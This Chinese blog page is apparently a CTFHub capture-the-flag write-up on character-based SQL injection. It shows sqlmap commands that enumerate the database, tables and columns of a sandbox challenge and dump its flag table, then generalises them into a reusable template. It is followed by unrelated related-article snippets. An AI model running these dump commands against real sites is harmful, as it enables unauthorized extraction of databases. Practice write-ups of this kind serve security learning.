当前位置： 首页 > news >正文

CTFHUB-SQL注入-字符型注入

news 2026/2/7 17:43:17

目录

查询数据库名

查询数据库中的表名

查询表中数据

总结

此题目和上一题相似，一个是整数型注入，一个是字符型注入。字符型注入就是注入字符串参数，判断回显是否存在注入漏洞。因为上一题使用手工注入查看题目 flag ，这里就不在使用手工注入，而是使用 sqlmap 工具完成

查询数据库名

python sqlmap.py -u "http://challenge-22b4da99a0deeef4.sandbox.ctfhub.com:10800/?id=1" --current-db

查询数据库中的表名

python sqlmap.py -u "http://challenge-22b4da99a0deeef4.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

查询表中数据

python sqlmap.py -u "http://challenge-22b4da99a0deeef4.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

得到了flag

总结

判断是否存在注入

python sqlmap.py -u "http://xxx/?id=1"

查看当前数据库名称

python sqlmap.py -u "http://xxx/?id=1" --current-db

查看当前数据库的表

python sqlmap.py -u "http://xxx/?id=1" -D 数据库名 --tables

查看表中的字段名

python sqlmap.py -u "http://xxx/?id=1" -D 数据库名 -T 表名 --columns

查看表中的数据

python sqlmap.py -u "http://xxx/?id=1" -D 数据库名 -T 表名 --dump

相关文章：

CTFHUB-SQL注入-字符型注入

目录 查询数据库名 查询数据库中的表名 查询表中数据 总结 此题目和上一题相似，一个是整数型注入，一个是字符型注入。字符型注入就是注入字符串参数，判断回显是否存在注入漏洞。因为上一题使用手工注入查看题目 flag ，这里就不…...

编程日记 2024/6/9 10:08:01

Docker配置Redis集群以及主从扩容与缩容

基础镜像拉取 docker run -p 6379:6379 -d redis:6.0.8 配置文件以及数据卷挂载 # 开启密码验证（可选） requirepass 1234 # 允许redis外地连接，需要注释掉绑定的IP # bind 127.0.0.1 # 关闭保护模式（可选） protected-m…...

编程日记 2024/6/9 10:07:00

【计算机网络】 传输层

一、传输层提供的服务 1.1 传输层的功能 1.1.1 传输层的功能如下： 传输层提供应用进程之间的逻辑通信（即端到端的通信）。与网络层的区别是：网络层提供的是主机之间的逻辑通信。 1.1.2 复用和分用 传输层要还要对收到的报文进行…...

编程日记 2024/6/9 10:05:58

山东大学软件学院项目实训-创新实训-基于大模型的旅游平台（二十七）- 微服务(7)

11.1 : 同步调用的问题 11.2 异步通讯的优缺点 11.3 MQ MQ就是事件驱动架构中的Broker 安装MQ docker run \-e RABBITMQ_DEFAULT_USERxxxx \-e RABBITMQ_DEFAULT_PASSxxxxx \--name mq \--hostname mq1 \-p 15672:15672 \-p 5672:5672 \-d \rabbitmq:3-management 浏览器访问1…...

编程日记 2024/6/9 10:03:56

Java Web应用，IPv6问题解决

在Java Web程序中，如果使用Tomcat并遇到了IPv6相关的问题，可以通过以下几种方式来解决： 1. 配置Tomcat以使用IPv4 默认情况下，Java可能会优先使用IPv6。如果你希望Tomcat使用IPv4，最简单的方法是通过设置系统属性来强…...

编程日记 2024/6/9 10:02:56

MyBatis二级缓存开启条件

MyBatis缓存为俩层体系。分为一级缓存和二级缓存。 一级缓存： 一级缓存默认开启，一级缓存的作用域是SqlSession级别的，这意味着当你更换SqlSession之后就不能再利用原来的SqlSession的一级缓存了。不同的SqlSession之间的一级缓存是隔离的。…...

编程日记 2024/6/9 10:01:55

golang 不用sleep如何实现实现每隔指定时间执行一次for循环？

今天介绍的是在go语言里面不用time.Sleep， 使用for range 定时器管道 来实现按照我们指定的时间间隔来执行for循环, 即： for range ticker.C { } 这样就实现了for每隔指定时间执行一次，除非管道被关闭，否则for而且会一直柱塞当前线…...

编程日记 2024/6/9 10:00:54

【el-tooltips改造】Vue实现文本溢出才显示el-tooltip，否则不显示el-tooltips

实现原理： 使用disabled属性控制el-tooltip的content显示与隐藏； 目标： 1行省略、多行省略、可缩放页面内的文本省略都有效。 实现方式： 1、自定义全局指令，tooltipAutoShow.js代码如下（参考的el-table中的…...

编程日记 2024/6/9 9:58:52

【Python数据类型的奥秘】：构建程序基石，驾驭信息之海

文章目录 🚀Python数据类型🌈1. 基本概念⭐2. 转化👊3. 数值运算💥4. 数值运算扩展(math库常用函数) 🚀Python数据类型 🌈1. 基本概念 整数（int）：整数是没有小数部分的数…...

编程日记 2024/6/9 9:57:51

vue使用html2canvas截图下载时，存在svg或者img或者特殊字体时截图不全的解决办法

使用html2canvas进行div截图时，存在svg和img的解决办法 写在前面：vue使用html2canvas截图时，存在svg或者img或者特殊字体时截图时空白，或者不全解决办法如下第一步，svg或者img先转base64（如果是特殊字体&am…...

编程日记 2024/6/9 9:54:48

机器学习----奥卡姆剃刀定律

奥卡姆剃刀定律（Occam’s Razor）是一条哲学原则，通常表述为“如无必要，勿增实体”（Entities should not be multiplied beyond necessity）或“在其他条件相同的情况下，最简单的解释往往是最好的…...

编程日记 2024/6/9 9:52:47

【设计模式】行为型设计模式之 模板方法模式

介绍 GOF 定义 模板方法模式 Template Method Design Pattern ：模板方法模式在一个方法中定义一个算法骨架，并将某些步骤推迟到子类中去实现；模板方法在不改变算法整体结构的情况下，可以重新定义算法中的某些步骤。 代码举例 …...

编程日记 2024/6/9 9:51:46

智能合约中断言失败

断言失败： 断言（assert）在智能合约中用于确保内部逻辑的一致性和正确性，但如果使用不当，确实可能导致意外的合约终止或资金锁定。这是因为assert主要用于检测程序内部的错误，例如算法错误或逻辑错误&#…...

编程日记 2024/6/9 9:50:45

flink读取hive写入http接口

目录 0、创建hive数据 1、pom.xml 2、flink代码 3、sink 4、提交任务jar 5、flink-conf.yaml 6、数据接收 flink-1.17.2jdk1.8hive-3.1.3hadoop3.3.6passwordhttp0、创建hive数据 /cluster/hive/bin/beeline !connect jdbc:hive2://ip:10000 create database demo; d…...

编程日记 2024/6/9 9:48:42

【论文阅读】MODELING AND SOLVING THE TRAVELING SALESMAN PROBLEM WITH PRIORITY PRIZES

文章目录 论文基本信息摘要1.引言2. INTEGER QUADRATIC PROGRAM FOR TSPPP3. MIXED INTEGER LINEAR PROGRAMS FOR TSPPP4. TABU SEARCH ALGORITHM FOR TSPPP5. COMPUTATIONAL RESULTS6. CONCLUDING REMARKS补充 论文基本信息 《MODELING AND SOLVING THE TRAVELING SALESMAN P…...

编程日记 2024/6/9 9:47:41

【CS.SE】使用 docker pull confluentinc/cp-kafka 的全面指南

文章目录 1 引言2 准备工作2.1 安装 Docker2.1.1 在 Linux 上安装 Docker2.1.2 在 macOS 上安装 Docker2.1.3 在 Windows 上安装 Docker 2.2 验证 Docker 安装 3 拉取 confluentinc/cp-kafka Docker 镜像3.1 拉取镜像3.2 验证镜像 4 运行 Kafka 容器4.1 启动 ZooKeeper4.2 启动…...

编程日记 2024/6/9 9:46:40

STM32快速入门（ADC数模转换）

STM32快速入门（ADC数模转换） 前言 ADC数模转换存在的意义就是将一些温度传感器、各自数据传感器产生的模拟信号转换成方便识别和计算的数字信号。 导航 图24 通用定时器框图： 图片截取自STM32 F1XX中文参考手册。还是以框图为中心&#x…...

编程日记 2024/6/9 9:44:38

Linux环境在非root用户中搭建(java-tomcat-redis)

注: 本文在内网(离线)环境，堡垒机中搭建，服务器不同可能有所差异，仅供参考 本文安装JDK-20.0.1版本，apache-tomcat-10.1.10版本，redis-6.2.15版本 本文服务器IP假设：192.168.88.133 root用户创建子用户并…...

编程日记 2024/6/9 9:43:37

Unity 之 代码修改材质球贴图

Unity 之 代码修改材质球贴图 代码修改Shader：ShaderGraph：材质球包含属性 代码修改 meshRenderer.material.SetTexture("_Emission", texture);Shader： ShaderGraph： 材质球包含属性 materials[k].HasProperty("…...

编程日记 2024/6/9 9:42:35

spark-3.5.1+Hadoop 3.4.0+Hive4.0 分布式集群 安装配置

Hadoop安装参考: Hadoop 3.4.0HBase2.5.8ZooKeeper3.8.4Hive4.0Sqoop 分布式高可用集群部署安装 大数据系列二-CSDN博客 一 下载:Downloads | Apache Spark 1 下载Maven – Welcome to Apache Maven # maven安装及配置教程 wget https://dlcdn.apache.org/maven/maven-3/3.8…...

编程日记 2024/6/9 9:37:31

Flask RESTful 示例

目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题： 下面创建一个简单的Flask RESTful API示例。首先，我们需要创建环境，安装必要的依赖，然后…...

编程新知 2026/2/6 3:59:37

vscode（仍待补充）

写于2025 6.9 主包将加入vscode这个更权威的圈子 vscode的基本使用 侧边栏 vscode还能连接ssh？ debug时使用的launch文件 1.task.json {"tasks": [{"type": "cppbuild","label": "C/C: gcc.exe 生成活动文件"…...

编程新知 2026/1/24 13:04:10

P3 QT项目----记事本（3.8）

3.8 记事本项目总结 项目源码 1.main.cpp #include "widget.h" #include <QApplication> int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 2.widget.cpp #include "widget.h" #include &q…...

编程新知 2026/2/1 6:56:36

C++ 基础特性深度解析

目录 引言 一、命名空间&#xff08;namespace&#xff09; C 中的命名空间​ 与 C 语言的对比​ 二、缺省参数​ C 中的缺省参数​ 与 C 语言的对比​ 三、引用&#xff08;reference&#xff09;​ C 中的引用​ 与 C 语言的对比​ 四、inline&#xff08;内联函数…...

编程新知 2026/1/15 4:25:16

（转）什么是DockerCompose?它有什么作用？

一、什么是DockerCompose? DockerCompose可以基于Compose文件帮我们快速的部署分布式应用&#xff0c;而无需手动一个个创建和运行容器。 Compose文件是一个文本文件&#xff0c;通过指令定义集群中的每个容器如何运行。 DockerCompose就是把DockerFile转换成指令去运行。 …...

编程新知 2026/1/31 22:59:12

push [特殊字符] present

push &#x1f19a; present 前言present和dismiss特点代码演示 push和pop特点代码演示 前言 在 iOS 开发中&#xff0c;push 和 present 是两种不同的视图控制器切换方式&#xff0c;它们有着显著的区别。 present和dismiss 特点 在当前控制器上方新建视图层级需要手动调用…...

编程新知 2026/1/31 4:26:17

【JavaSE】多线程基础学习笔记

多线程基础 -线程相关概念 程序&#xff08;Program&#xff09; 是为完成特定任务、用某种语言编写的一组指令的集合简单的说:就是我们写的代码 进程 进程是指运行中的程序&#xff0c;比如我们使用QQ&#xff0c;就启动了一个进程&#xff0c;操作系统就会为该进程分配内存…...

编程新知 2025/9/12 0:57:34

Razor编程中@Html的方法使用大全

文章目录 1. 基础HTML辅助方法1.1 Html.ActionLink()1.2 Html.RouteLink()1.3 Html.Display() / Html.DisplayFor()1.4 Html.Editor() / Html.EditorFor()1.5 Html.Label() / Html.LabelFor()1.6 Html.TextBox() / Html.TextBoxFor() 2. 表单相关辅助方法2.1 Html.BeginForm() …...

编程新知 2026/1/28 4:50:33

从“安全密码”到测试体系：Gitee Test 赋能关键领域软件质量保障

关键领域软件测试的"安全密码"&#xff1a;Gitee Test如何破解行业痛点 在数字化浪潮席卷全球的今天&#xff0c;软件系统已成为国家关键领域的"神经中枢"。从国防军工到能源电力&#xff0c;从金融交易到交通管控&#xff0c;这些关乎国计民生的关键领域…...

编程新知 2026/2/2 20:26:17

用 Rust 重写 Linux 内核模块实战：迈向安全内核的新篇章

用 Rust 重写 Linux 内核模块实战&#xff1a;迈向安全内核的新篇章 ​​摘要&#xff1a;​​ 操作系统内核的安全性、稳定性至关重要。传统 Linux 内核模块开发长期依赖于 C 语言&#xff0c;受限于 C 语言本身的内存安全和并发安全问题&#xff0c;开发复杂模块极易引入难以…...

编程新知 2025/10/25 19:31:21